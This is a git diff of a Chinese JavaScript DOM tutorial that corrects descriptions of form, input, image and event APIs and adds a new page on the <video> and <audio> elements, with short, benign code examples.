diff --git a/docs/elements/form.md b/docs/elements/form.md
index c02e47d..9d38305 100644
--- a/docs/elements/form.md
+++ b/docs/elements/form.md
@@ -11,7 +11,7 @@
 - `target`：字符串，表示表单提交后，服务器返回的数据的展示位置。
 - `action`：字符串，表示表单提交数据的 URL。
 - `enctype`（或`encoding`）：字符串，表示表单提交数据的编码方法，可能的值有`application/x-www-form-urlencoded`、`multipart/form-data`和`text/plain`。
-- `acceptCharset`：字符串，表示服务器所能接受的字符编码，多个编码格式之间或空格分隔。
+- `acceptCharset`：字符串，表示服务器所能接受的字符编码，多个编码格式之间使用逗号或空格分隔。
 - `autocomplete`：字符串`on`或`off`，表示浏览器是否要对`<input>`控件提供自动补全。
 - `noValidate`：布尔值，表示是否关闭表单的自动校验。
 
@@ -30,4 +30,3 @@ f.action = '/cgi-bin/some.cgi';
 f.method = 'POST';
 f.submit();
 ```
-
diff --git a/docs/elements/image.md b/docs/elements/image.md
index cdf3bd6..0f6b577 100644
--- a/docs/elements/image.md
+++ b/docs/elements/image.md
@@ -191,7 +191,7 @@ function loadImage() {
 }
 ```
 
-图像加载完成，会触发`onerror`属性指定的回调函数。
+图像加载过程中发生错误，会触发`onerror`属性指定的回调函数。
 
 ```javascript
 // HTML 代码为 <img src="image.gif" onerror="myFunction()">
diff --git a/docs/elements/input.md b/docs/elements/input.md
index f08f20b..fce544a 100644
--- a/docs/elements/input.md
+++ b/docs/elements/input.md
@@ -38,7 +38,8 @@
 - `min`：字符串，表示该节点的最小数值或日期，且不能大于`max`属性。该属性可读写。
 - `max`：字符串，表示该节点的最大数值或日期，且不能小于`min`属性。该属性可读写。
 - `selectionStart`：整数，表示选中文本的起始位置。如果没有选中文本，返回光标在`<input>`元素内部的位置。该属性可读写。
-- `selectionEnd`：整数，表示选中文本的结束位置。如果没有选中文本，返回光标在`<input>`元素内部的位置。该属性可读写。- `selectionDirection`：字符串，表示选中文本的方向。可能的值包括`forward`（与文字书写方向一致）、`backward`（与文字书写方向相反）和`none`（文字方向未知）。该属性可读写。
+- `selectionEnd`：整数，表示选中文本的结束位置。如果没有选中文本，返回光标在`<input>`元素内部的位置。该属性可读写。
+- `selectionDirection`：字符串，表示选中文本的方向。可能的值包括`forward`（与文字书写方向一致）、`backward`（与文字书写方向相反）和`none`（文字方向未知）。该属性可读写。
 
 ### 复选框和单选框的特有属性
 
@@ -74,7 +75,18 @@
 - `labels`：返回一个`NodeList`实例，代表绑定当前`<input>`节点的`<label>`元素。该属性只读。
 - `step`：字符串，表示在`min`属性到`max`属性之间，每次递增或递减时的数值或时间。
 - `valueAsDate`：`Date`实例，一旦设置，该`<input>`元素的值会被解释为指定的日期。如果无法解析该属性的值，`<input>`节点的值将是`null`。
-- `valueAsNumber`：浮点数，当前`<input>`元素的值会被解析为这个数值。
+- `valueAsNumber`：浮点数，当前`<input>`元素的值会被解析为这个数值。如果输入框为空，该属性返回`NaN`。
+
+下面是`valueAsNumber`属性的例子。
+
+```javascript
+/* HTML 代码如下
+   <input type="number" value="1.234" />
+*/
+
+input.value // "1.234"
+input.valueAsNumber // 1.234
+```
 
 ## HTMLInputElement 的实例方法
 
@@ -83,8 +95,8 @@
 - `select()`：选中`<input>`元素内部的所有文本。该方法不能保证`<input>`获得焦点，最好先用`focus()`方法，再用这个方法。
 - `click()`：模拟鼠标点击当前的`<input>`元素。
 - `setSelectionRange()`：选中`<input>`元素内部的一段文本，但不会将焦点转移到选中的文本。该方法接受三个参数，第一个参数是开始的位置（从0开始），第二个参数是结束的位置（不包括该位置），第三个参数是可选的，表示选择的方向，有三个可能的值（`forward`、`backward`和默认值`none`）。
-- `setRangeText()`：新文本替换选中的文本。该方法接受四个参数，第一个参数是新文本，第二个参数是替换的开始位置，第三个参数是结束位置，第四个参数表示替换后的行为（可选），有四个可能的值：`select`（选中新插入的文本）、`start`（选中的开始位置移到插入的文本之前）、`end`（选中的文本移到插入的文本之后）、`preserve`（保留原先选中的位置，默认值）。
-- `setCustomValidity()`：该方法调用后，会提示用户校验失败。它的参数就是报错的提示信息。
+- `setRangeText()`：新文本替换选中的文本。该方法接受四个参数，第一个参数是新文本，第二个参数是替换的开始位置(从`0`开始计算)，第三个参数是结束位置（该位置不包括在内），第四个参数表示替换后的行为（可选），有四个可能的值：`select`（选中新插入的文本）、`start`（光标位置移到插入的文本之前）、`end`（光标位置移到插入的文本之后）、`preserve`（默认值，如果原先就有文本被选中且本次替换位置与原先选中位置有交集，则替换后同时选中新插入的文本与原先选中的文本，否则保持原先选中的文本）。
+- `setCustomValidity()`：该方法用于自定义校验失败时的报错信息。它的参数就是报错的提示信息。注意，一旦设置了自定义报错信息，该字段就不会校验通过了，因此用户重新输入时，必须将自定义报错信息设为空字符串，请看下面的例子。
 - `checkValidity()`：返回一个布尔值，表示当前节点的校验结果。如果返回`false`，表示不满足校验要求，否则就是校验成功或不必校验。
 - `stepDown()`：将当前`<input>`节点的值减少一个步长。该方法可以接受一个整数`n`作为参数，表示一次性减少`n`个步长，默认是`1`。有几种情况会抛错：当前`<input>`节点不适合递减或递增、当前节点没有`step`属性、`<input>`节点的值不能转为数字、递减之后的值小于`min`属性或大于`max`属性。
 - `stepUp()`：将当前`<input>`节点的值增加一个步长。其他与`stepDown()`方法相同。
@@ -105,3 +117,30 @@ function SelectText() {
 ```
 
 上面代码中，点击按钮以后，会选中`llo`三个字符。
+
+下面是`setCustomValidity()`的例子。
+
+```javascript
+/* HTML 代码如下
+  <form id="form">
+    <input id="field" type="text" pattern="[a-f,0-9]{4}" autocomplete=off>
+  </form>
+*/
+
+const form   = document.querySelector('#form');
+const field  = document.querySelector('#field');
+
+form.addEventListener('submit', (e) => {
+  e.preventDefault(); // 防止这个例子发出 POST 请求
+});
+
+field.oninvalid = (event) => {
+  event.target.setCustomValidity('必须是一个 4 位十六进制数');
+}
+
+field.oninput = (event) => {
+  event.target.setCustomValidity('');
+}
+```
+
+上面代码中，输入框必须输入一个4位的十六进制数。如果不满足条件（比如输入`xxx`），按下回车键以后，就会提示自定义的报错信息。一旦自定义了报错信息，输入框就会一直处于校验失败状态，因此重新输入时，必须把自定义报错信息设为空字符串。另外，为了避免自动补全提示框遮住报错信息，必须将输入框的`autocomplete`属性关闭。
diff --git a/docs/elements/option.md b/docs/elements/option.md
index a571199..eb49138 100644
--- a/docs/elements/option.md
+++ b/docs/elements/option.md
@@ -40,4 +40,3 @@ newOption.selected // false
 ```
 
 上面代码中，`newOption`的`defaultSelected`属性为`true`，但是它没有被选中（即`selected`属性为`false`）。
-
diff --git a/docs/elements/video.md b/docs/elements/video.md
new file mode 100644
index 0000000..73be5d6
--- /dev/null
+++ b/docs/elements/video.md
@@ -0,0 +1,154 @@
+# <video>，<audio>
+
+## 概述
+
+`<video>`元素用来加载视频，是`HTMLVideoElement`对象的实例。`<audio>`元素用来加载音频，是`HTMLAudioElement`对象的实例。而`HTMLVideoElement`和`HTMLAudioElement`都继承了`HTMLMediaElement`，所以这两个 HTML 元素有许多共同的属性和方法，可以放在一起介绍。
+
+理论上，这两个 HTML 元素直接用`src`属性指定媒体文件，就可以使用了。
+
+```html
+<audio src="background_music.mp3"/>
+<video src="news.mov" width=320 height=240/>
+```
+
+注意，`<video>`元素有`width`属性和`height`属性，可以指定宽和高。`<audio>`元素没有这两个属性，因为它的播放器外形是浏览器给定的，不能指定。
+
+实际上，不同的浏览器支持不同的媒体格式，我们不得不用`<source>`元素指定同一个媒体文件的不同格式。
+
+```html
+<audio id="music">
+  <source src="music.mp3" type="audio/mpeg">  
+  <source src="music.ogg" type='audio/ogg; codec="vorbis"'>
+</audio>
+```
+
+浏览器遇到支持的格式，就会忽略后面的格式。
+
+这两个元素都有一个`controls`属性，只有打开这个属性，才会显示控制条。注意，`<audio>`元素如果不打开`controls`属性，根本不会显示，而是直接在背景播放。
+
+## HTMLMediaElement 接口
+
+`HTMLMediaElement`并没有对应的 HTML 元素，而是作为`<video>`和`<audio>`的基类，定义一些它们共同的属性和方法。
+
+`HTMLMediaElement`接口有以下属性。
+
+- HTMLMediaElement.audioTracks：返回一个类似数组的对象，表示媒体文件包含的音轨。
+- HTMLMediaElement.autoplay：布尔值，表示媒体文件是否自动播放，对应 HTML 属性`autoplay`。
+- HTMLMediaElement.buffered：返回一个 TimeRanges 对象，表示浏览器缓冲的内容。该对象的`length`属性返回缓存里面有多少段内容，`start(rangeId)`方法返回指定的某段内容（从0开始）开始的时间点，`end()`返回指定的某段内容结束的时间点。该属性只读。
+- HTMLMediaElement.controls：布尔值，表示是否显示媒体文件的控制栏，对应 HTML 属性`controls`。
+- HTMLMediaElement.controlsList：返回一个类似数组的对象，表示是否显示控制栏的某些控件。该对象包含三个可能的值：`nodownload`、`nofullscreen`和`noremoteplayback`。该属性只读。
+- HTMLMediaElement.crossOrigin：字符串，表示跨域请求时是否附带用户信息（比如 Cookie），对应 HTML 属性`crossorigin`。该属性只有两个可能的值：`anonymous`和`use-credentials`。
+- HTMLMediaElement.currentSrc：字符串，表示当前正在播放的媒体文件的绝对路径。该属性只读。
+- HTMLMediaElement.currentTime：浮点数，表示当前播放的时间点。
+- HTMLMediaElement.defaultMuted：布尔值，表示默认是否关闭音量，对应 HTML 属性`muted`。
+- HTMLMediaElement.defaultPlaybackRate：浮点数，表示默认的播放速率，默认是1.0。
+- HTMLMediaElement.disableRemotePlayback：布尔值，是否允许远程回放，即远程回放的时候是否会有工具栏。
+- HTMLMediaElement.duration：浮点数，表示媒体文件的时间长度（单位秒）。如果当前没有媒体文件，该属性返回0。该属性只读。
+- HTMLMediaElement.ended：布尔值，表示当前媒体文件是否已经播放结束。该属性只读。
+- HTMLMediaElement.error：返回最近一次报错的错误对象，如果没有报错，返回`null`。
+- HTMLMediaElement.loop：布尔值，表示媒体文件是否会循环播放，对应 HTML 属性`loop`。
+- HTMLMediaElement.muted：布尔值，表示音量是否关闭。
+- HTMLMediaElement.networkState：当前网络状态，共有四个可能的值。0表示没有数据；1表示媒体元素处在激活状态，但是还没开始下载；2表示下载中；3表示没有找到媒体文件。
+- HTMLMediaElement.paused：布尔值，表示媒体文件是否处在暂停状态。该属性只读。
+- HTMLMediaElement.playbackRate：浮点数，表示媒体文件的播放速度，1.0是正常速度。如果是负数，表示向后播放。
+- HTMLMediaElement.played：返回一个 TimeRanges 对象，表示播放的媒体内容。该属性只读。
+- HTMLMediaElement.preload：字符串，表示应该预加载哪些内容，可能的值为`none`、`metadata`和`auto`。
+- HTMLMediaElement.readyState：整数，表示媒体文件的准备状态，可能的值为0（没有任何数据）、1（已获取元数据）、2（可播放当前帧，但不足以播放多个帧）、3（可以播放多帧，至少为两帧）、4（可以流畅播放）。该属性只读。
+- HTMLMediaElement.seekable：返回一个 TimeRanges 对象，表示一个用户可以搜索的媒体内容范围。该属性只读。
+- HTMLMediaElement.seeking：布尔值，表示媒体文件是否正在寻找新位置。该属性只读。
+- HTMLMediaElement.src：字符串，表示媒体文件所在的 URL，对应 HTML 属性`src`。
+- HTMLMediaElement.srcObject：返回`src`属性对应的媒体文件资源，可能是`MediaStream`、`MediaSource`、`Blob`或`File`对象。直接指定这个属性，就可以播放媒体文件。
+- HTMLMediaElement.textTracks：返回一个类似数组的对象，包含所有文本轨道。该属性只读。
+- HTMLMediaElement.videoTracks：返回一个类似数组的对象，包含多有视频轨道。该属性只读。
+- HTMLMediaElement.volume：浮点数，表示音量。0.0 表示静音，1.0 表示最大音量。
+
+`HTMLMediaElement`接口有如下方法。
+
+- HTMLMediaElement.addTextTrack()：添加文本轨道（比如字幕）到媒体文件。
+- HTMLMediaElement.captureStream()：返回一个 MediaStream 对象，用来捕获当前媒体文件的流内容。
+- HTMLMediaElement.canPlayType()：该方法接受一个 MIME 字符串作为参数，用来判断这种类型的媒体文件是否可以播放。该方法返回一个字符串，有三种可能的值，`probably`表示似乎可播放，`maybe`表示无法在不播放的情况下判断是否可播放，空字符串表示无法播放。
+- HTMLMediaElement.fastSeek()：该方法接受一个浮点数作为参数，表示指定的时间（单位秒）。该方法将媒体文件移动到指定时间。
+- HTMLMediaElement.load()：重新加载媒体文件。
+- HTMLMediaElement.pause()：暂停播放。该方法没有返回值。
+- HTMLMediaElement.play()：开始播放。该方法返回一个 Promise 对象。
+
+下面是`play()`方法的一个例子。
+
+```javascript
+var myVideo = document.getElementById('myVideoElement');
+
+myVideo
+.play()
+.then(() => {
+  console.log('playing');
+})
+.catch((error) => {
+  console.log(error);
+});
+```
+
+## HTMLVideoElement 接口
+
+`HTMLVideoElement`接口代表了`<video>`元素。这个接口继承了`HTMLMediaElement`接口，并且有一些自己的属性和方法。
+
+HTMLVideoElement 接口的属性。
+
+- HTMLVideoElement.height：字符串，表示视频播放区域的高度（单位像素），对应 HTML 属性`height`。
+- HTMLVideoElement.width：字符串，表示视频播放区域的宽度（单位像素），对应 HTML 属性`width`。
+- HTMLVideoElement.videoHeight：该属性只读，返回一个整数，表示视频文件自身的高度（单位像素）。
+- HTMLVideoElement.videoWidth：该属性只读，返回一个整数，表示视频文件自身的宽度（单位像素）。
+- HTMLVideoElement.poster：字符串，表示一个图像文件的 URL，用来在无法获取视频文件时替代显示，对应 HTML 属性`poster`。
+
+HTMLVideoElement 接口的方法。
+
+- HTMLVideoElement.getVideoPlaybackQuality()：返回一个对象，包含了当前视频回放的一些数据。
+
+## HTMLAudioElement 接口
+
+`HTMLAudioElement`接口代表了`<audio>`元素。
+
+该接口继承了`HTMLMediaElement`，但是没有定义自己的属性和方法。浏览器原生提供一个`Audio()`构造函数，返回的就是`HTMLAudioElement`实例。
+
+```javascript
+var song = new Audio([URLString]);
+```
+
+`Audio()`构造函数接受一个字符串作为参数，表示媒体文件的 URL。如果省略这个参数，可以稍后通过`src`属性指定。
+
+生成`HTMLAudioElement`实例以后，不用插入 DOM，可以直接用`play()`方法在背景播放。
+
+```javascript
+var a = new Audio();
+if (a.canPlayType('audio/wav')) {
+  a.src = 'soundeffect.wav';
+  a.play();
+}
+ ```
+
+## 事件
+
+`<video>`和`<audio>`元素有以下事件。
+
+- loadstart：开始加载媒体文件时触发。
+- progress：媒体文件加载过程中触发，大概是每秒触发2到8次。
+- loadedmetadata：媒体文件元数据加载成功时触发。
+- loadeddata：当前播放位置加载成功后触发。
+- canplay：已经加载了足够的数据，可以开始播放时触发，后面可能还会请求数据。
+- canplaythrough：已经加载了足够的数据，可以一直播放时触发，后面不需要继续请求数据。
+- suspend：已经缓冲了足够的数据，暂时停止下载时触发。
+- stalled：尝试加载数据，但是没有数据返回时触发。
+- play：调用`play()`方法时或自动播放启动时触发。如果已经加载了足够的数据，这个事件后面会紧跟`playing`事件，否则会触发`waiting`事件。
+- waiting：由于没有足够的缓存数据，无法播放或播放停止时触发。一旦缓冲数据足够开始播放，后面就会紧跟`playing`事件。
+- playing：媒体开始播放时触发。
+- timeupdate：`currentTime`属性变化时触发，每秒可能触发4到60次。
+- pause：调用`pause()`方法、播放暂停时触发。
+- seeking：脚本或者用户要求播放某个没有缓冲的位置，播放停止开始加载数据时触发。此时，`seeking`属性返回`true`。
+- seeked：`seeking`属性变回`false`时触发。
+- ended：媒体文件播放完毕时触发。
+- durationchange：`duration`属性变化时触发。
+- volumechange：音量变化时触发。
+- ratechange：播放速度或默认的播放速度变化时触发。
+- abort：停止加载媒体文件时触发，通常是用户主动要求停止下载。
+- error：网络或其他原因导致媒体文件无法加载时触发。
+- emptied：由于`error`或`abort`事件导致`networkState`属性变成无法获取数据时触发。
+
diff --git a/docs/events/common.md b/docs/events/common.md
index 3f67ec8..b89f092 100644
--- a/docs/events/common.md
+++ b/docs/events/common.md
@@ -9,7 +9,7 @@
 如果该事件对象的`returnValue`属性是一个非空字符串，那么浏览器就会弹出一个对话框，询问用户是否要卸载该资源。但是，用户指定的字符串可能无法显示，浏览器会展示预定义的字符串。如果用户点击“取消”按钮，资源就不会卸载。
 
 ```javascript
-window.addEventListener('beforeunload', function(event) {
+window.addEventListener('beforeunload', function (event) {
   event.returnValue = '你确定离开吗？';
 });
 ```
@@ -19,7 +19,7 @@ window.addEventListener('beforeunload', function(event) {
 浏览器对这个事件的行为很不一致，有的浏览器调用`event.preventDefault()`，也会弹出对话框。IE 浏览器需要显式返回一个非空的字符串，才会弹出对话框。而且，大多数浏览器在对话框中不显示指定文本，只显示默认文本。因此，可以采用下面的写法，取得最大的兼容性。
 
 ```javascript
-window.addEventListener('beforeunload', function(e) {
+window.addEventListener('beforeunload', function (e) {
   var confirmationMessage = '确认关闭窗口？';
 
   e.returnValue = confirmationMessage;
@@ -27,9 +27,9 @@ window.addEventListener('beforeunload', function(e) {
 });
 ```
 
-注意，许多手机浏览器默认忽略这个事件，桌面浏览器也有办法忽略这个事件。所以，它可能根本不会生效，不能依赖它来阻止用户关闭窗口。
+注意，许多手机浏览器（比如 Safari）默认忽略这个事件，桌面浏览器也有办法忽略这个事件。所以，它可能根本不会生效，不能依赖它来阻止用户关闭浏览器窗口，最好不要使用这个事件。
 
-另外，一旦使用了`beforeunload`事件，浏览器就不会缓存当前网页。因为执行了这个事件以后，缓存页面就没意义了。
+另外，一旦使用了`beforeunload`事件，浏览器就不会缓存当前网页，使用“回退”按钮将重新向服务器请求网页。这是因为监听这个事件的目的，一般是为了网页状态，这时缓存页面的初始状态就没意义了。
 
 ### unload 事件
 
@@ -43,7 +43,9 @@ window.addEventListener('unload', function(event) {
 });
 ```
 
-跟`beforeunload`事件一样，一旦使用了`unload`事件，浏览器就不会缓存当前网页，理由同上。
+手机上，浏览器或系统可能会直接丢弃网页，这时该事件根本不会发生。而且跟`beforeunload`事件一样，一旦使用了`unload`事件，浏览器就不会缓存当前网页，理由同上。因此，任何情况下都不应该依赖这个事件，指定网页卸载时要执行的代码，可以考虑完全不使用这个事件。
+
+该事件可以用`pagehide`代替。
 
 ### load 事件，error 事件
 
@@ -59,13 +61,15 @@ window.addEventListener('load', function(event) {
 
 这三个事件实际上属于进度事件，不仅发生在`document`对象，还发生在各种外部资源上面。浏览网页就是一个加载各种资源的过程，图像（image）、样式表（style sheet）、脚本（script）、视频（video）、音频（audio）、Ajax请求（XMLHttpRequest）等等。这些资源和`document`对象、`window`对象、XMLHttpRequestUpload 对象，都会触发`load`事件和`error`事件。
 
+最后，页面的`load`事件也可以用`pageshow`事件代替。
+
 ## session 历史事件
 
 ### pageshow 事件，pagehide 事件
 
 默认情况下，浏览器会在当前会话（session）缓存页面，当用户点击“前进/后退”按钮时，浏览器就会从缓存中加载页面。
 
-pageshow 事件在页面加载时触发，包括第一次加载和从缓存加载两种情况。如果要指定页面每次加载（不管是不是从浏览器缓存）时都运行的代码，可以放在这个事件的监听函数。
+`pageshow`事件在页面加载时触发，包括第一次加载和从缓存加载两种情况。如果要指定页面每次加载（不管是不是从浏览器缓存）时都运行的代码，可以放在这个事件的监听函数。
 
 第一次加载时，它的触发顺序排在`load`事件后面。从缓存加载时，`load`事件不会触发，因为网页在缓存中的样子通常是`load`事件的监听函数运行后的样子，所以不必重复执行。同理，如果是从缓存中加载页面，网页内初始化的 JavaScript 脚本（比如 DOMContentLoaded 事件的监听函数）也不会执行。
 
@@ -75,7 +79,7 @@ window.addEventListener('pageshow', function(event) {
 });
 ```
 
-pageshow 事件有一个`persisted`属性，返回一个布尔值。页面第一次加载时，这个属性是`false`；当页面从缓存加载时，这个属性是`true`。
+`pageshow`事件有一个`persisted`属性，返回一个布尔值。页面第一次加载时，这个属性是`false`；当页面从缓存加载时，这个属性是`true`。
 
 ```javascript
 window.addEventListener('pageshow', function(event){
@@ -91,6 +95,8 @@ window.addEventListener('pageshow', function(event){
 
 如果页面包含`<frame>`或`<iframe>`元素，则`<frame>`页面的`pageshow`事件和`pagehide`事件，都会在主页面之前触发。
 
+注意，这两个事件只在浏览器的`history`对象发生变化时触发，跟网页是否可见没有关系。
+
 ### popstate 事件
 
 `popstate`事件在浏览器的`history`对象的当前记录发生显式切换时触发。注意，调用`history.pushState()`或`history.replaceState()`，并不会触发`popstate`事件。该事件只在用户在`history`记录之间显式切换时触发，比如鼠标点击“后退/前进”按钮，或者在脚本中调用`history.back()`、`history.forward()`、`history.go()`时触发。
@@ -200,7 +206,7 @@ window.addEventListener('scroll', callback);
     obj.addEventListener(type, func);
   };
 
-  // 将 scroll 事件重定义为 optimizedScroll 事件
+  // 将 scroll 事件转为 optimizedScroll 事件
   throttle('scroll', 'optimizedScroll');
 })();
 
@@ -209,9 +215,9 @@ window.addEventListener('optimizedScroll', function() {
 });
 ```
 
-上面代码中，`throttle`函数用于控制事件触发频率，`requestAnimationFrame`方法保证每次页面重绘（每秒60次），只会触发一次`scroll`事件的监听函数。也就是说，上面方法将`scroll`事件的触发频率，限制在每秒60次。具体来说，就是`scroll`事件只要频率低于每秒60次，就会触发`optimizedScroll`事件，从而执行`optimizedScroll`事件的监听函数。
+上面代码中，`throttle()`函数用于控制事件触发频率，它有一个内部函数`func()`，每次`scroll`事件实际上触发的是这个函数。`func()`函数内部使用`requestAnimationFrame()`方法，保证只有每次页面重绘时（每秒60次），才可能会触发`optimizedScroll`事件，从而实际上将`scroll`事件转换为`optimizedScroll`事件，触发频率被控制在每秒最多60次。
 
-改用`setTimeout`方法，可以放置更大的时间间隔。
+改用`setTimeout()`方法，可以放置更大的时间间隔。
 
 ```javascript
 (function() {
@@ -259,6 +265,8 @@ window.addEventListener('scroll', throttle(callback, 1000));
 window.addEventListener('scroll', _.throttle(callback, 1000));
 ```
 
+本书前面介绍过`debounce`的概念，`throttle`与它区别在于，`throttle`是“节流”，确保一段时间内只执行一次，而`debounce`是“防抖”，要连续操作结束后再执行。以网页滚动为例，`debounce`要等到用户停止滚动后才执行，`throttle`则是如果用户一直在滚动网页，那么在滚动过程中还是会执行。
+
 ### resize 事件
 
 `resize`事件在改变浏览器窗口大小时触发，主要发生在`window`对象上面。
@@ -277,7 +285,7 @@ window.addEventListener('resize', resizeMethod, true);
 
 ### fullscreenchange 事件，fullscreenerror 事件
 
-`fullscreenchange`事件在进入或推出全屏状态时触发，该事件发生在`document`对象上面。
+`fullscreenchange`事件在进入或退出全屏状态时触发，该事件发生在`document`对象上面。
 
 ```javascript
 document.addEventListener('fullscreenchange', function (event) {
@@ -295,7 +303,15 @@ document.addEventListener('fullscreenchange', function (event) {
 - `copy`：进行复制动作时触发。
 - `paste`：剪贴板内容粘贴到文档后触发。
 
-这三个事件都是`ClipboardEvent`接口的实例。`ClipboardEvent`有一个实例属性`clipboardData`，是一个 DataTransfer 对象，存放剪贴的数据。具体的 API 接口和操作方法，请参见《触摸事件》的 DataTransfer 对象部分。
+举例来说，如果希望禁止输入框的粘贴事件，可以使用下面的代码。
+
+```javascript
+inputElement.addEventListener('paste', e => e.preventDefault());
+```
+
+上面的代码使得用户无法在`<input>`输入框里面粘贴内容。
+
+`cut`、`copy`、`paste`这三个事件的事件对象都是`ClipboardEvent`接口的实例。`ClipboardEvent`有一个实例属性`clipboardData`，是一个 DataTransfer 对象，存放剪贴的数据。具体的 API 接口和操作方法，请参见《拖拉事件》的 DataTransfer 对象部分。
 
 ```javascript
 document.addEventListener('copy', function (e) {
@@ -316,7 +332,7 @@ document.addEventListener('copy', function (e) {
 - `focusin`：元素节点将要获得焦点时触发，发生在`focus`事件之前。该事件会冒泡。
 - `focusout`：元素节点将要失去焦点时触发，发生在`blur`事件之前。该事件会冒泡。
 
-这四个事件都继承了`FocusEvent`接口。`FocusEvent`实例具有以下属性。
+这四个事件的事件对象都继承了`FocusEvent`接口。`FocusEvent`实例具有以下属性。
 
 - `FocusEvent.target`：事件的目标节点。
 - `FocusEvent.relatedTarget`：对于`focusin`事件，返回失去焦点的节点；对于`focusout`事件，返回将要接受焦点的节点；对于`focus`和`blur`事件，返回`null`。
@@ -386,4 +402,3 @@ el.dispatchEvent(myEvent);
 ```
 
 上面代码也说明，CustomEvent 的事件实例，除了具有 Event 接口的实例属性，还具有`detail`属性。
-
diff --git a/docs/events/drag.md b/docs/events/drag.md
index 0608e21..b524c3a 100644
--- a/docs/events/drag.md
+++ b/docs/events/drag.md
@@ -4,7 +4,7 @@
 
 拖拉（drag）指的是，用户在某个对象上按下鼠标键不放，拖动它到另一个位置，然后释放鼠标键，将该对象放在那里。
 
-拖拉的对象有好几种，包括元素节点、图片、链接、选中的文字等等。在网页中，除了元素节点默认不可以拖拉，其他（图片、链接、选中的文字）都是可以直接拖拉的。为了让元素节点可拖拉，可以将该节点的`draggable`属性设为`true`。
+拖拉的对象有好几种，包括元素节点、图片、链接、选中的文字等等。在网页中，除了元素节点默认不可以拖拉，其他（图片、链接、选中的文字）都可以直接拖拉。为了让元素节点可拖拉，可以将该节点的`draggable`属性设为`true`。
 
 ```html
 <div draggable="true">
@@ -12,6 +12,8 @@
 </div>
 ```
 
+上面代码的`div`区块，在网页中可以直接用鼠标拖动。松开鼠标键时，拖动效果就会消失，该区块依然在原来的位置。
+
 `draggable`属性可用于任何元素节点，但是图片（`<img>`）和链接（`<a>`）不加这个属性，就可以拖拉。对于它们，用到这个属性的时候，往往是将其设为`false`，防止拖拉这两种元素。
 
 注意，一旦某个元素节点的`draggable`属性设为`true`，就无法再用鼠标选中该节点内部的文字或子节点了。
@@ -198,7 +200,7 @@ source.addEventListener('dragstart', function (e) {
 });
 
 target.addEventListener('dragover', function (e) {
-  ev.dataTransfer.dropEffect = 'move';
+  e.dataTransfer.dropEffect = 'move';
 });
 ```
 
@@ -281,7 +283,7 @@ function doDragOver(event) {
 }
 ```
 
-上面代码中，只有当被拖拉的节点是一个链接时，才允许在当前节点放下。
+上面代码中，只有当被拖拉的节点有一个是链接时，才允许在当前节点放下。
 
 ### DataTransfer.items
 
@@ -452,7 +454,7 @@ event.dataTransfer.clearData('text/uri-list');
 
 拖动过程中（`dragstart`事件触发后），浏览器会显示一张图片跟随鼠标一起移动，表示被拖动的节点。这张图片是自动创造的，通常显示为被拖动节点的外观，不需要自己动手设置。
 
-`DataTransfer.setDragImage()`方法可以自定义这张图片。它接受三个参数。第一个是`<img>`节点或者`<canvas>`节点，如果省略或为`null`，则使用被拖动的节点的外观；第二个和第三个参数为鼠标相对于该图片左上角的横坐标和右坐标。
+`DataTransfer.setDragImage()`方法可以自定义这张图片。它接受三个参数。第一个是`<img>`节点或者`<canvas>`节点，如果省略或为`null`，则使用被拖动的节点的外观；第二个和第三个参数为鼠标相对于该图片左上角的横坐标和纵坐标。
 
 下面是一个例子。
 
@@ -470,4 +472,3 @@ div.addEventListener('dragstart', function (e) {
   e.dataTransfer.setDragImage(img, 0, 0);
 }, false);
 ```
-
diff --git a/docs/events/event.md b/docs/events/event.md
index 1f61b59..57c33c7 100644
--- a/docs/events/event.md
+++ b/docs/events/event.md
@@ -114,27 +114,34 @@ if (event.defaultPrevented) {
 
 ### Event.currentTarget，Event.target
 
-`Event.currentTarget`属性返回事件当前所在的节点，即正在执行的监听函数所绑定的那个节点。
+事件发生以后，会经过捕获和冒泡两个阶段，依次通过多个 DOM 节点。因此，任意事件都有两个与事件相关的节点，一个是事件的原始触发节点（`Event.target`），另一个是事件当前正在通过的节点（`Event.currentTarget`）。前者通常是后者的后代节点。
 
-`Event.target`属性返回原始触发事件的那个节点，即事件最初发生的节点。事件传播过程中，不同节点的监听函数内部的`Event.target`与`Event.currentTarget`属性的值是不一样的，前者总是不变的，后者则是指向监听函数所在的那个节点对象。
+`Event.currentTarget`属性返回事件当前所在的节点，即事件当前正在通过的节点，也就是当前正在执行的监听函数所在的那个节点。随着事件的传播，这个属性的值会变。
+
+`Event.target`属性返回原始触发事件的那个节点，即事件最初发生的节点。这个属性不会随着事件的传播而改变。
+
+事件传播过程中，不同节点的监听函数内部的`Event.target`与`Event.currentTarget`属性的值是不一样的。
 
 ```javascript
-// HTML代码为
+// HTML 代码为
 // <p id="para">Hello <em>World</em></p>
 function hide(e) {
-  console.log(this === e.currentTarget);  // 总是 true
-  console.log(this === e.target);  // 有可能不是 true
-  e.target.style.visibility = 'hidden';
+  // 不管点击 Hello 或 World，总是返回 true
+  console.log(this === e.currentTarget);
+
+  // 点击 Hello，返回 true
+  // 点击 World，返回 false
+  console.log(this === e.target);
 }
 
-para.addEventListener('click', hide, false);
+document.getElementById('para').addEventListener('click', hide, false);
 ```
 
-上面代码中，如果在`para`节点的`<em>`子节点上面点击，则`e.target`指向`<em>`子节点，导致`<em>`子节点（即 World 部分）会不可见。如果点击 Hello  部分，则整个`para`都将不可见。
+上面代码中，`<em>`是`<p>`的子节点，点击`<em>`或者点击`<p>`，都会导致监听函数执行。这时，`e.target`总是指向原始点击位置的那个节点，而`e.currentTarget`指向事件传播过程中正在经过的那个节点。由于监听函数只有事件经过时才会触发，所以`e.currentTarget`总是等同于监听函数内部的`this`。
 
 ### Event.type
 
-`Event.type`属性返回一个字符串，表示事件类型。事件的类型是在生成事件的时候。该属性只读。
+`Event.type`属性返回一个字符串，表示事件类型。事件的类型是在生成事件的时候指定的。该属性只读。
 
 ```javascript
 var evt = new Event('foo');
@@ -192,7 +199,7 @@ evt.isTrusted // false
 
 ### Event.detail
 
-`Event.detail`属性只有浏览器的 UI （用户界面）事件才具有。该属性返回一个数值，表示事件的某种信息。具体含义与事件类型相关。比如，对于`click`和`dbclick`事件，`Event.detail`是鼠标按下的次数（`1`表示单击，`2`表示双击，`3`表示三击）；对于鼠标滚轮事件，`Event.detail`是滚轮正向滚动的距离，负值就是负向滚动的距离，返回值总是3的倍数。
